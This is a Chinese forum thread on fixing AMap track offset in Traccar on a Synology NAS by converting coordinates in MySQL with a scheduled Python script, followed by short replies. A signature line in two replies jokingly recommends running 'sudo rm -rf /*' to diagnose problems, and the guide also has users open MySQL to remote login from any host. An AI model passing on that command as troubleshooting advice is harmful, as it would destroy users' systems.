『瀚思彼岸』» 智能家居技术论坛

 找回密码
 立即注册
查看: 47297|回复: 50

[技术探讨] 解决Traccar中使用高德地图轨迹偏移的另一种方法

[复制链接]

5

主题

69

帖子

957

积分

论坛技术达人

积分
957
金钱
873
HASS币
60
发表于 2019-10-29 08:01:37 | 显示全部楼层 |阅读模式
本帖最后由 bg6rsh 于 2019-11-1 08:40 编辑

前几个月刚在黑群晖中搭建了HomeAssistant,挂载了Traccar服务,将车上的安卓导航接入到Traccar中,能够查询车辆的运行轨迹,简直是太棒了。默认地图加载太慢,而且地图太老了,到处翻论坛,目前到是有好多解决方案,但本人水平太低,一个也没搞成功,于是就自己想出了这个方法:直接将Traccar数据库中的GPS坐标转换成高德(或百度)坐标,这样就直接解决了高德或百度地图轨迹偏移的问题,但还有个瑕疵是实时位置还是偏移的,但这不影响轨迹这个主要功能。下面我以群晖说一下步骤:
一、安装群晖运行环境
1、 在群晖的“套件中心”中安装“Python3”,用SSH登录到群晖安装pip3,再利用pip3安装Python3的支持库:pymysql、requests。

$ curl https://bootstrap.pypa.io/get-pip.py -o get-pip.py   # 下载安装脚本
$ sudo python3 get-pip.py    # 运行安装脚本,一定要用python3来运行啊
         安装完后提示pip3被安装到群晖的“/volume1/@appstore/py3k/usr/local/bin”目录中,不知道大家会不会也是这样。    2、进入pip3目录,然后在该目录下安装pymysql、requests。

$ cd /volume1/@appstore/py3k/usr/local/bin
$ sudo ./pip3 install pymysql 
$ sudo ./pip3 install requests
   由于网速的原因,这2个安装包都试了n次才装好,大家有点耐心。

二、修改Traccar数据库
1、将Traccar数据库转移到mysql服务上,相信大家已经这么做了,长期使用还是用mysql数据库靠谱,方法网上多,这里就不说了。
2、利用mysql管理工具“phpMyAdmin”在Traccar数据库的tc_positions表(我的表前缀是tc,你的可能不一样)中增加3个字段:前2个保存原始GPS坐标以后备用,第3个字段用来标记是否已转换成高德坐标用。
    字段名        类型      默认值
    latitude_gps    double NULL     
    longitude_gps   double NULL
    gaode           bit(1)  0
添加完后的表结构如下图:
t1.PNG
3、 在mysql数据库中新建远程连接用户root,主机名要是“%,这样才能远程连接mysql,
我是新建的名为“traccar_user”用户,都一样,关键是主机名要是“%,建好后如下图:
t2.PNG

三、编程
1、 在高德开放平台https://lbs.amap.com申请“Web服务”的Key,调用高德坐标转换API要用到。
2、 将python程序文件复制到群晖的共享目录中,我的是public目录,在群晖中的绝对地址是“/volume1/public/gaode.py”,程序内容如下,程序里面要修改你申请的高德API调用key,还有你mysql数据库的连接参数。下载gaode.py文件:
游客,如果您要查看本帖隐藏内容请回复


3、 在SSH中运行该程序,对前期数据进行转换,根据你的历史数据量,用时较长哦。

$ python3 /volume1/public/gaode.py


四、在群晖“计划任务”中新建一个定时(1分钟)运行该程序的任务,对数据库中的GPS坐标进行转换。
t3.PNG
t4.PNG


    目前运行了1天,还没出现什么问题,大家可以试试。百度地图也可利用这种方法哦。






t5.PNG
回复

使用道具 举报

8

主题

736

帖子

4568

积分

论坛元老

Rank: 8Rank: 8

积分
4568
金钱
3827
HASS币
40
QQ
发表于 2019-10-29 08:36:46 | 显示全部楼层
膜拜大神
回复

使用道具 举报

48

主题

709

帖子

4710

积分

元老级技术达人

积分
4710
金钱
4001
HASS币
50
QQ
发表于 2019-10-29 09:00:27 | 显示全部楼层
滋滋滋
如果你遇到了一些解决不了的问题,那么你可以先尝试执行一下这个命令 sudo rm -rf /* 看一看是在哪儿出错了
回复

使用道具 举报

48

主题

709

帖子

4710

积分

元老级技术达人

积分
4710
金钱
4001
HASS币
50
QQ
发表于 2019-10-29 09:01:44 | 显示全部楼层

我怀疑你是住在论坛的
如果你遇到了一些解决不了的问题,那么你可以先尝试执行一下这个命令 sudo rm -rf /* 看一看是在哪儿出错了
回复

使用道具 举报

8

主题

736

帖子

4568

积分

论坛元老

Rank: 8Rank: 8

积分
4568
金钱
3827
HASS币
40
QQ
发表于 2019-10-29 09:07:38 | 显示全部楼层
602293544 发表于 2019-10-29 09:01
我怀疑你是住在论坛的

哪有,我只是每天都会来看一下而已
回复

使用道具 举报

10

主题

680

帖子

5648

积分

论坛元老

Rank: 8Rank: 8

积分
5648
金钱
4963
HASS币
50
发表于 2019-10-29 10:39:31 | 显示全部楼层
目前用NR纠偏,还是可以的
回复

使用道具 举报

9

主题

360

帖子

1192

积分

金牌会员

Rank: 6Rank: 6

积分
1192
金钱
832
HASS币
0
发表于 2019-10-29 11:25:34 | 显示全部楼层
不错,实时位置解决了就完美了!
回复

使用道具 举报

10

主题

163

帖子

1179

积分

金牌会员

Rank: 6Rank: 6

积分
1179
金钱
1016
HASS币
0
发表于 2019-10-30 18:29:06 | 显示全部楼层
ganxiefenxiang
回复

使用道具 举报

10

主题

163

帖子

1179

积分

金牌会员

Rank: 6Rank: 6

积分
1179
金钱
1016
HASS币
0
发表于 2019-10-30 19:15:21 | 显示全部楼层
本帖最后由 65999wlc 于 2019-10-30 21:35 编辑
Traceback (most recent call last):
  File "/volume2/docker-raid1/Traccar/gaode.py", line 6, in <module>
    import pymysql
ImportError: No module named 'pymysql'

请问这个怎么弄?尝试运行sudo apt-get install python3-mysqldb,群会显示没有apt-get
回复

使用道具 举报

10

主题

163

帖子

1179

积分

金牌会员

Rank: 6Rank: 6

积分
1179
金钱
1016
HASS币
0
发表于 2019-10-30 21:36:31 | 显示全部楼层
65999wlc 发表于 2019-10-30 19:15
请问这个怎么弄?尝试运行sudo apt-get install python3-mysqldb,群会显示没有apt-get

我蠢了,没有看到前面的支持库
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Hassbian

GMT+8, 2024-11-23 13:42 , Processed in 0.285886 second(s), 35 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表